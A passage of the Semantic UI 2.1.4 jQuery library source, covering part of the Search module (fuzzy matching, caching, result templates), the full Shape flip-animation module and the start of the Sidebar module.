($.inArray(result, fuzzyResults) == -1) ; if(notResult && notFuzzyResult) { array.push(result); } } ; source = source || settings.source; searchFields = (searchFields !== undefined) ? searchFields : settings.searchFields ; // search fields should be array to loop correctly if(!$.isArray(searchFields)) { searchFields = [searchFields]; } // exit conditions if no source if(source === undefined || source === false) { module.error(error.source); return []; } // iterate through search fields looking for matches $.each(searchFields, function(index, field) { $.each(source, function(label, content) { var fieldExists = (typeof content[field] == 'string') ; if(fieldExists) { if( content[field].search(matchRegExp) !== -1) { // content starts with value (first in results) addResult(results, content); } else if(settings.searchFullText && module.fuzzySearch(searchTerm, content[field]) ) { // content fuzzy matches (last in results) addResult(fuzzyResults, content); } } }); }); return $.merge(results, fuzzyResults); } }, fuzzySearch: function(query, term) { var termLength = term.length, queryLength = query.length ; if(typeof query !== 'string') { return false; } query = query.toLowerCase(); term = term.toLowerCase(); if(queryLength > termLength) { return false; } if(queryLength === termLength) { return (query === term); } search: for (var characterIndex = 0, nextCharacterIndex = 0; characterIndex < queryLength; characterIndex++) { var queryCharacter = query.charCodeAt(characterIndex) ; while(nextCharacterIndex < termLength) { if(term.charCodeAt(nextCharacterIndex++) === queryCharacter) { continue search; } } return false; } return true; }, parse: { response: function(response, searchTerm) { var searchHTML = module.generateResults(response) ; module.verbose('Parsing server response', response); if(response !== undefined) { if(searchTerm !== undefined && response[fields.results] !== undefined) { module.addResults(searchHTML); module.inject.id(response[fields.results]); module.write.cache(searchTerm, { html : searchHTML, results : response[fields.results] }); module.save.results(response[fields.results]); } } } }, cancel: { query: function() { if( module.can.useAPI() ) { $module.api('abort'); } } }, has: { minimumCharacters: function() { var searchTerm = module.get.value(), numCharacters = searchTerm.length ; return (numCharacters >= settings.minCharacters); } }, clear: { cache: function(value) { var cache = $module.data(metadata.cache) ; if(!value) { module.debug('Clearing cache', value); $module.removeData(metadata.cache); } else if(value && cache && cache[value]) { module.debug('Removing value from cache', value); delete cache[value]; $module.data(metadata.cache, cache); } } }, read: { cache: function(name) { var cache = $module.data(metadata.cache) ; if(settings.cache) { module.verbose('Checking cache for generated html for query', name); return (typeof cache == 'object') && (cache[name] !== undefined) ? cache[name] : false ; } return false; } }, create: { id: function(resultIndex, categoryIndex) { var resultID = (resultIndex + 1), // not zero indexed categoryID = (categoryIndex + 1), firstCharCode, letterID, id ; if(categoryIndex !== undefined) { // start char code for "A" letterID = String.fromCharCode(97 + categoryIndex); id = letterID + resultID; module.verbose('Creating category result id', id); } else { id = resultID; module.verbose('Creating result id', id); } return id; }, results: function() { if($results.length === 0) { $results = $('<div />') .addClass(className.results) .appendTo($module) ; } } }, inject: { result: function(result, resultIndex, categoryIndex) { module.verbose('Injecting result into results'); var $selectedResult = (categoryIndex !== undefined) ? $results .children().eq(categoryIndex) .children(selector.result).eq(resultIndex) : $results .children(selector.result).eq(resultIndex) ; module.verbose('Injecting results metadata', $selectedResult); $selectedResult .data(metadata.result, result) ; }, id: function(results) { module.debug('Injecting unique ids into results'); var // since results may be object, we must use counters categoryIndex = 0, resultIndex = 0 ; if(settings.type === 'category') { // iterate through each category result $.each(results, function(index, category) { resultIndex = 0; $.each(category.results, function(index, value) { var result = category.results[index] ; if(result.id === undefined) { result.id = module.create.id(resultIndex, categoryIndex); } module.inject.result(result, resultIndex, categoryIndex); resultIndex++; }); categoryIndex++; }); } else { // top level $.each(results, function(index, value) { var result = results[index] ; if(result.id === undefined) { result.id = module.create.id(resultIndex); } module.inject.result(result, resultIndex); resultIndex++; }); } return results; } }, save: { results: function(results) { module.verbose('Saving current search results to metadata', results); $module.data(metadata.results, results); } }, write: { cache: function(name, value) { var cache = ($module.data(metadata.cache) !== undefined) ? $module.data(metadata.cache) : {} ; if(settings.cache) { module.verbose('Writing generated html to cache', name, value); cache[name] = value; $module .data(metadata.cache, cache) ; } } }, addResults: function(html) { if( $.isFunction(settings.onResultsAdd) ) { if( settings.onResultsAdd.call($results, html) === false ) { module.debug('onResultsAdd callback cancelled default action'); return false; } } $results .html(html) ; if( module.can.show() ) { module.showResults(); } }, showResults: function() { if(!module.is.visible()) { if( module.can.transition() ) { module.debug('Showing results with css animations'); $results .transition({ animation : settings.transition + ' in', debug : settings.debug, verbose : settings.verbose, duration : settings.duration, queue : true }) ; } else { module.debug('Showing results with javascript'); $results .stop() .fadeIn(settings.duration, settings.easing) ; } settings.onResultsOpen.call($results); } }, hideResults: function() { if( module.is.visible() ) { if( module.can.transition() ) { module.debug('Hiding results with css animations'); $results .transition({ animation : settings.transition + ' out', debug : settings.debug, verbose : settings.verbose, duration : settings.duration, queue : true }) ; } else { module.debug('Hiding results with javascript'); $results .stop() .fadeOut(settings.duration, settings.easing) ; } settings.onResultsClose.call($results); } }, generateResults: function(response) { module.debug('Generating html from response', response); var template = settings.templates[settings.type], isProperObject = ($.isPlainObject(response[fields.results]) && !$.isEmptyObject(response[fields.results])), isProperArray = ($.isArray(response[fields.results]) && response[fields.results].length > 0), html = '' ; if(isProperObject || isProperArray ) { if(settings.maxResults > 0) { if(isProperObject) { if(settings.type == 'standard') { module.error(error.maxResults); } } else { response[fields.results] = response[fields.results].slice(0, settings.maxResults); } } if($.isFunction(template)) { html = template(response, fields); } else { module.error(error.noTemplate, false); } } else { html = module.displayMessage(error.noResults, 'empty'); } settings.onResults.call(element, response); return html; }, displayMessage: function(text, type) { type = type || 'standard'; module.debug('Displaying message', text, type); module.addResults( settings.templates.message(text, type) ); return settings.templates.message(text, type); }, setting: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if($allModules.length > 1) { title += ' ' + '(' + $allModules.length + ')'; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.search.settings = { name : 'Search', namespace : 'search', debug : false, verbose : false, performance : true, type : 'standard', // template to use (specified in settings.templates) minCharacters : 1, // minimum characters required to search apiSettings : false, // API config source : false, // object to search searchFields : [ 'title', 'description' ], // fields to search displayField : '', // field to display in standard results template searchFullText : true, // whether to include fuzzy results in local search automatic : true, // whether to add events to prompt automatically hideDelay : 0, // delay before hiding menu after blur searchDelay : 200, // delay before searching maxResults : 7, // maximum results returned from local cache : true, // whether to store lookups in local cache // transition settings transition : 'scale', duration : 200, easing : 'easeOutExpo', // callbacks onSelect : false, onResultsAdd : false, onSearchQuery : function(query){}, onResults : function(response){}, onResultsOpen : function(){}, onResultsClose : function(){}, className: { active : 'active', empty : 'empty', focus : 'focus', loading : 'loading', results : 'results', pressed : 'down' }, error : { source : 'Cannot search. No source used, and Semantic API module was not included', noResults : 'Your search returned no results', logging : 'Error in debug logging, exiting.', noEndpoint : 'No search endpoint was specified', noTemplate : 'A valid template name was not specified.', serverError : 'There was an issue querying the server.', maxResults : 'Results must be an array to use maxResults setting', method : 'The method you called is not defined.' }, metadata: { cache : 'cache', results : 'results', result : 'result' }, regExp: { escape : /[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, beginsWith : '(?:\s|^)' }, // maps api response attributes to internal representation fields: { categories : 'results', // array of categories (category view) categoryName : 'name', // name of category (category view) categoryResults : 'results', // array of results (category view) description : 'description', // result description image : 'image', // result image price : 'price', // result price results : 'results', // array of results (standard) title : 'title', // result title action : 'action', // "view more" object name actionText : 'text', // "view more" text actionURL : 'url' // "view more" url }, selector : { prompt : '.prompt', searchButton : '.search.button', results : '.results', category : '.category', result : '.result', title : '.title, .name' }, templates: { escape: function(string) { var badChars = /[&<>"'`]/g, shouldEscape = /[&<>"'`]/, escape = { "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#x27;", "`": "&#x60;" }, escapedChar = function(chr) { return escape[chr]; } ; if(shouldEscape.test(string)) { return string.replace(badChars, escapedChar); } return string; }, message: function(message, type) { var html = '' ; if(message !== undefined && type !== undefined) { html += '' + '<div class="message ' + type + '">' ; // message type if(type == 'empty') { html += '' + '<div class="header">No Results</div class="header">' + '<div class="description">' + message + '</div class="description">' ; } else { html += ' <div class="description">' + message + '</div>'; } html += '</div>'; } return html; }, category: function(response, fields) { var html = '', escape = $.fn.search.settings.templates.escape ; if(response[fields.categoryResults] !== undefined) { // each category $.each(response[fields.categoryResults], function(index, category) { if(category[fields.results] !== undefined && category.results.length > 0) { html += '<div class="category">'; if(category[fields.categoryName] !== undefined) { html += '<div class="name">' + category[fields.categoryName] + '</div>'; } // each item inside category $.each(category.results, function(index, result) { if(response[fields.url]) { html += '<a class="result" href="' + response[fields.url] + '">'; } else { html += '<a class="result">'; } if(result[fields.image] !== undefined) { html += '' + '<div class="image">' + ' <img src="' + result[fields.image] + '">' + '</div>' ; } html += '<div class="content">'; if(result[fields.price] !== undefined) { html += '<div class="price">' + result[fields.price] + '</div>'; } if(result[fields.title] !== undefined) { html += '<div class="title">' + result[fields.title] + '</div>'; } if(result[fields.description] !== undefined) { html += '<div class="description">' + result[fields.description] + '</div>'; } html += '' + '</div>' ; html += '</a>'; }); html += '' + '</div>' ; } }); if(response[fields.action]) { html += '' + '<a href="' + response[fields.action][fields.actionURL] + '" class="action">' + response[fields.action][fields.actionText] + '</a>'; } return html; } return false; }, standard: function(response, fields) { var html = '' ; if(response[fields.results] !== undefined) { // each result $.each(response[fields.results], function(index, result) { if(response[fields.url]) { html += '<a class="result" href="' + response[fields.url] + '">'; } else { html += '<a class="result">'; } if(result[fields.image] !== undefined) { html += '' + '<div class="image">' + ' <img src="' + result[fields.image] + '">' + '</div>' ; } html += '<div class="content">'; if(result[fields.price] !== undefined) { html += '<div class="price">' + result[fields.price] + '</div>'; } if(result[fields.title] !== undefined) { html += '<div class="title">' + result[fields.title] + '</div>'; } if(result[fields.description] !== undefined) { html += '<div class="description">' + result[fields.description] + '</div>'; } html += '' + '</div>' ; html += '</a>'; }); if(response[fields.action]) { html += '' + '<a href="' + response[fields.action][fields.actionURL] + '" class="action">' + response[fields.action][fields.actionText] + '</a>'; } return html; } return false; } } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Shape * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ( $, window, document, undefined ) { "use strict"; $.fn.shape = function(parameters) { var $allModules = $(this), $body = $('body'), time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); }, returnedValue ; $allModules .each(function() { var moduleSelector = $allModules.selector || '', settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.shape.settings, parameters) : $.extend({}, $.fn.shape.settings), // internal aliases namespace = settings.namespace, selector = settings.selector, error = settings.error, className = settings.className, // define namespaces for modules eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, // selector cache $module = $(this), $sides = $module.find(selector.sides), $side = $module.find(selector.side), // private variables nextIndex = false, $activeSide, $nextSide, // standard module element = this, instance = $module.data(moduleNamespace), module ; module = { initialize: function() { module.verbose('Initializing module for', element); module.set.defaultSide(); module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, instance) ; }, destroy: function() { module.verbose('Destroying previous module for', element); $module .removeData(moduleNamespace) .off(eventNamespace) ; }, refresh: function() { module.verbose('Refreshing selector cache for', element); $module = $(element); $sides = $(this).find(selector.shape); $side = $(this).find(selector.side); }, repaint: function() { module.verbose('Forcing repaint event'); var shape = $sides[0] || document.createElement('div'), fakeAssignment = shape.offsetWidth ; }, animate: function(propertyObject, callback) { module.verbose('Animating box with properties', propertyObject); callback = callback || function(event) { module.verbose('Executing animation callback'); if(event !== undefined) { event.stopPropagation(); } module.reset(); module.set.active(); }; settings.beforeChange.call($nextSide[0]); if(module.get.transitionEvent()) { module.verbose('Starting CSS animation'); $module .addClass(className.animating) ; $sides .css(propertyObject) .one(module.get.transitionEvent(), callback) ; module.set.duration(settings.duration); requestAnimationFrame(function() { $module .addClass(className.animating) ; $activeSide .addClass(className.hidden) ; }); } else { callback(); } }, queue: function(method) { module.debug('Queueing animation of', method); $sides .one(module.get.transitionEvent(), function() { module.debug('Executing queued animation'); setTimeout(function(){ $module.shape(method); }, 0); }) ; }, reset: function() { module.verbose('Animating states reset'); $module .removeClass(className.animating) .attr('style', '') .removeAttr('style') ; // removeAttr style does not consistently work in safari $sides .attr('style', '') .removeAttr('style') ; $side .attr('style', '') .removeAttr('style') .removeClass(className.hidden) ; $nextSide .removeClass(className.animating) .attr('style', '') .removeAttr('style') ; }, is: { complete: function() { return ($side.filter('.' + className.active)[0] == $nextSide[0]); }, animating: function() { return $module.hasClass(className.animating); } }, set: { defaultSide: function() { $activeSide = $module.find('.' + settings.className.active); $nextSide = ( $activeSide.next(selector.side).length > 0 ) ? $activeSide.next(selector.side) : $module.find(selector.side).first() ; nextIndex = false; module.verbose('Active side set to', $activeSide); module.verbose('Next side set to', $nextSide); }, duration: function(duration) { duration = duration || settings.duration; duration = (typeof duration == 'number') ? duration + 'ms' : duration ; module.verbose('Setting animation duration', duration); if(settings.duration || settings.duration === 0) { $sides.add($side) .css({ '-webkit-transition-duration': duration, '-moz-transition-duration': duration, '-ms-transition-duration': duration, '-o-transition-duration': duration, 'transition-duration': duration }) ; } }, currentStageSize: function() { var $activeSide = $module.find('.' + settings.className.active), width = $activeSide.outerWidth(true), height = $activeSide.outerHeight(true) ; $module .css({ width: width, height: height }) ; }, stageSize: function() { var $clone = $module.clone().addClass(className.loading), $activeSide = $clone.find('.' + settings.className.active), $nextSide = (nextIndex) ? $clone.find(selector.side).eq(nextIndex) : ( $activeSide.next(selector.side).length > 0 ) ? $activeSide.next(selector.side) : $clone.find(selector.side).first(), newSize = {} ; module.set.currentStageSize(); $activeSide.removeClass(className.active); $nextSide.addClass(className.active); $clone.insertAfter($module); newSize = { width : $nextSide.outerWidth(true), height : $nextSide.outerHeight(true) }; $clone.remove(); $module .css(newSize) ; module.verbose('Resizing stage to fit new content', newSize); }, nextSide: function(selector) { nextIndex = selector; $nextSide = $side.filter(selector); nextIndex = $side.index($nextSide); if($nextSide.length === 0) { module.set.defaultSide(); module.error(error.side); } module.verbose('Next side manually set to', $nextSide); }, active: function() { module.verbose('Setting new side to active', $nextSide); $side .removeClass(className.active) ; $nextSide .addClass(className.active) ; settings.onChange.call($nextSide[0]); module.set.defaultSide(); } }, flip: { up: function() { if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) { module.debug('Side already visible', $nextSide); return; } if( !module.is.animating()) { module.debug('Flipping up', $nextSide); module.set.stageSize(); module.stage.above(); module.animate( module.get.transform.up() ); } else { module.queue('flip up'); } }, down: function() { if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) { module.debug('Side already visible', $nextSide); return; } if( !module.is.animating()) { module.debug('Flipping down', $nextSide); module.set.stageSize(); module.stage.below(); module.animate( module.get.transform.down() ); } else { module.queue('flip down'); } }, left: function() { if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) { module.debug('Side already visible', $nextSide); return; } if( !module.is.animating()) { module.debug('Flipping left', $nextSide); module.set.stageSize(); module.stage.left(); module.animate(module.get.transform.left() ); } else { module.queue('flip left'); } }, right: function() { if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) { module.debug('Side already visible', $nextSide); return; } if( !module.is.animating()) { module.debug('Flipping right', $nextSide); module.set.stageSize(); module.stage.right(); module.animate(module.get.transform.right() ); } else { module.queue('flip right'); } }, over: function() { if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) { module.debug('Side already visible', $nextSide); return; } if( !module.is.animating()) { module.debug('Flipping over', $nextSide); module.set.stageSize(); module.stage.behind(); module.animate(module.get.transform.over() ); } else { module.queue('flip over'); } }, back: function() { if(module.is.complete() && !module.is.animating() && !settings.allowRepeats) { module.debug('Side already visible', $nextSide); return; } if( !module.is.animating()) { module.debug('Flipping back', $nextSide); module.set.stageSize(); module.stage.behind(); module.animate(module.get.transform.back() ); } else { module.queue('flip back'); } } }, get: { transform: { up: function() { var translate = { y: -(($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2), z: -($activeSide.outerHeight(true) / 2) } ; return { transform: 'translateY(' + translate.y + 'px) translateZ('+ translate.z + 'px) rotateX(-90deg)' }; }, down: function() { var translate = { y: -(($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2), z: -($activeSide.outerHeight(true) / 2) } ; return { transform: 'translateY(' + translate.y + 'px) translateZ('+ translate.z + 'px) rotateX(90deg)' }; }, left: function() { var translate = { x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2), z : -($activeSide.outerWidth(true) / 2) } ; return { transform: 'translateX(' + translate.x + 'px) translateZ(' + translate.z + 'px) rotateY(90deg)' }; }, right: function() { var translate = { x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2), z : -($activeSide.outerWidth(true) / 2) } ; return { transform: 'translateX(' + translate.x + 'px) translateZ(' + translate.z + 'px) rotateY(-90deg)' }; }, over: function() { var translate = { x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2) } ; return { transform: 'translateX(' + translate.x + 'px) rotateY(180deg)' }; }, back: function() { var translate = { x : -(($activeSide.outerWidth(true) - $nextSide.outerWidth(true)) / 2) } ; return { transform: 'translateX(' + translate.x + 'px) rotateY(-180deg)' }; } }, transitionEvent: function() { var element = document.createElement('element'), transitions = { 'transition' :'transitionend', 'OTransition' :'oTransitionEnd', 'MozTransition' :'transitionend', 'WebkitTransition' :'webkitTransitionEnd' }, transition ; for(transition in transitions){ if( element.style[transition] !== undefined ){ return transitions[transition]; } } }, nextSide: function() { return ( $activeSide.next(selector.side).length > 0 ) ? $activeSide.next(selector.side) : $module.find(selector.side).first() ; } }, stage: { above: function() { var box = { origin : (($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2), depth : { active : ($nextSide.outerHeight(true) / 2), next : ($activeSide.outerHeight(true) / 2) } } ; module.verbose('Setting the initial animation position as above', $nextSide, box); $sides .css({ 'transform' : 'translateZ(-' + box.depth.active + 'px)' }) ; $activeSide .css({ 'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)' }) ; $nextSide .addClass(className.animating) .css({ 'top' : box.origin + 'px', 'transform' : 'rotateX(90deg) translateZ(' + box.depth.next + 'px)' }) ; }, below: function() { var box = { origin : (($activeSide.outerHeight(true) - $nextSide.outerHeight(true)) / 2), depth : { active : ($nextSide.outerHeight(true) / 2), next : ($activeSide.outerHeight(true) / 2) } } ; module.verbose('Setting the initial animation position as below', $nextSide, box); $sides .css({ 'transform' : 'translateZ(-' + box.depth.active + 'px)' }) ; $activeSide .css({ 'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)' }) ; $nextSide .addClass(className.animating) .css({ 'top' : box.origin + 'px', 'transform' : 'rotateX(-90deg) translateZ(' + box.depth.next + 'px)' }) ; }, left: function() { var height = { active : $activeSide.outerWidth(true), next : $nextSide.outerWidth(true) }, box = { origin : ( ( height.active - height.next ) / 2), depth : { active : (height.next / 2), next : (height.active / 2) } } ; module.verbose('Setting the initial animation position as left', $nextSide, box); $sides .css({ 'transform' : 'translateZ(-' + box.depth.active + 'px)' }) ; $activeSide .css({ 'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)' }) ; $nextSide .addClass(className.animating) .css({ 'left' : box.origin + 'px', 'transform' : 'rotateY(-90deg) translateZ(' + box.depth.next + 'px)' }) ; }, right: function() { var height = { active : $activeSide.outerWidth(true), next : $nextSide.outerWidth(true) }, box = { origin : ( ( height.active - height.next ) / 2), depth : { active : (height.next / 2), next : (height.active / 2) } } ; module.verbose('Setting the initial animation position as left', $nextSide, box); $sides .css({ 'transform' : 'translateZ(-' + box.depth.active + 'px)' }) ; $activeSide .css({ 'transform' : 'rotateY(0deg) translateZ(' + box.depth.active + 'px)' }) ; $nextSide .addClass(className.animating) .css({ 'left' : box.origin + 'px', 'transform' : 'rotateY(90deg) translateZ(' + box.depth.next + 'px)' }) ; }, behind: function() { var height = { active : $activeSide.outerWidth(true), next : $nextSide.outerWidth(true) }, box = { origin : ( ( height.active - height.next ) / 2), depth : { active : (height.next / 2), next : (height.active / 2) } } ; module.verbose('Setting the initial animation position as behind', $nextSide, box); $activeSide .css({ 'transform' : 'rotateY(0deg)' }) ; $nextSide .addClass(className.animating) .css({ 'left' : box.origin + 'px', 'transform' : 'rotateY(-180deg)' }) ; } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if($allModules.length > 1) { title += ' ' + '(' + $allModules.length + ')'; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.shape.settings = { // module info name : 'Shape', // debug content outputted to console debug : false, // verbose debug output verbose : false, // performance data output performance: true, // event namespace namespace : 'shape', // callback occurs on side change beforeChange : function() {}, onChange : function() {}, // allow animation to same side allowRepeats: false, // animation duration duration : false, // possible errors error: { side : 'You tried to switch to a side that does not exist.', method : 'The method you called is not defined' }, // classnames used className : { animating : 'animating', hidden : 'hidden', loading : 'loading', active : 'active' }, // selectors used selector : { sides : '.sides', side : '.side' } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Sidebar * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ( $, window, document, undefined ) { "use strict"; $.fn.sidebar = function(parameters) { var $allModules = $(this), $window = $(window), $document = $(document), $html = $('html'), $head = $('head'), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); }, returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.sidebar.settings, parameters) : $.extend({}, $.fn.sidebar.settings), selector = settings.selector, className = settings.className, namespace = settings.namespace, regExp = settings.regExp, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $module = $(this), $context = $(settings.context), $sidebars = $module.children(selector.sidebar), $fixed = $context.children(selector.fixed), $pusher = $context.children(selector.pusher), $style, element = this, instance = $module.data(moduleNamespace), elementNamespace, id, currentScroll, transitionEvent, module ; module = { initialize: function() { module.debug('Initializing sidebar', parameters); module.create.id(); transitionEvent = module.get.transitionEvent(); if(module.is.ios()) { module.set.ios(); } // avoids locking rendering if initialized in onReady if(settings.delaySetup) { requestAnimationFrame(module.setup.layout); } else { module.setup.layout(); } requestAnimationFrame(function() { module.setup.cache(); }); module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, create: { id: function() { id = (Math.random().toString(16) + '000000000').substr(2,8); elementNamespace = '.' + id; module.verbose('Creating unique id for element', id); } }, destroy: function() { module.verbose('Destroying previous module for', $module); $module .off(eventNamespace) .removeData(moduleNamespace) ; if(module.is.ios()) { module.remove.ios(); } // bound by uuid $context.off(elementNamespace); $window.off(elementNamespace); $document.off(elementNamespace); }, event: { clickaway: function(event) { var clickedInPusher = ($pusher.find(event.target).length > 0 || $pusher.is(event.target)), clickedContext = ($context.is(event.target)) ; if(clickedInPusher) { module.verbose('User clicked on dimmed page'); module.hide(); } if(clickedContext) { module.verbose('User clicked on dimmable context (scaled out page)'); module.hide(); } }, touch: function(event) { //event.stopPropagation(); }, containScroll: function(event) { if(element.scrollTop <= 0) { element.scrollTop = 1; } if((element.scrollTop + element.offsetHeight) >= element.scrollHeight) { element.scrollTop = element.scrollHeight - element.offsetHeight - 1; } }, scroll: function(event) { if( $(event.target).closest(selector.sidebar).length === 0 ) { event.preventDefault(); } } }, bind: { clickaway: function() { module.verbose('Adding clickaway events to context', $context); if(settings.closable) { $context .on('click' + elementNamespace, module.event.clickaway) .on('touchend' + elementNamespace, module.event.clickaway) ; } }, scrollLock: function() { if(settings.scrollLock) { module.debug('Disabling page scroll'); $window .on('DOMMouseScroll' + elementNamespace, module.event.scroll) ; } module.verbose('Adding events to contain sidebar scroll'); $document .on('touchmove' + elementNamespace, module.event.touch) ; $module .on('scroll' + eventNamespace, module.event.containScroll) ; } }, unbind: { clickaway: function() { module.verbose('Removing clickaway events from context', $context); $context.off(elementNamespace); }, scrollLock: function() { module.verbose('Removing 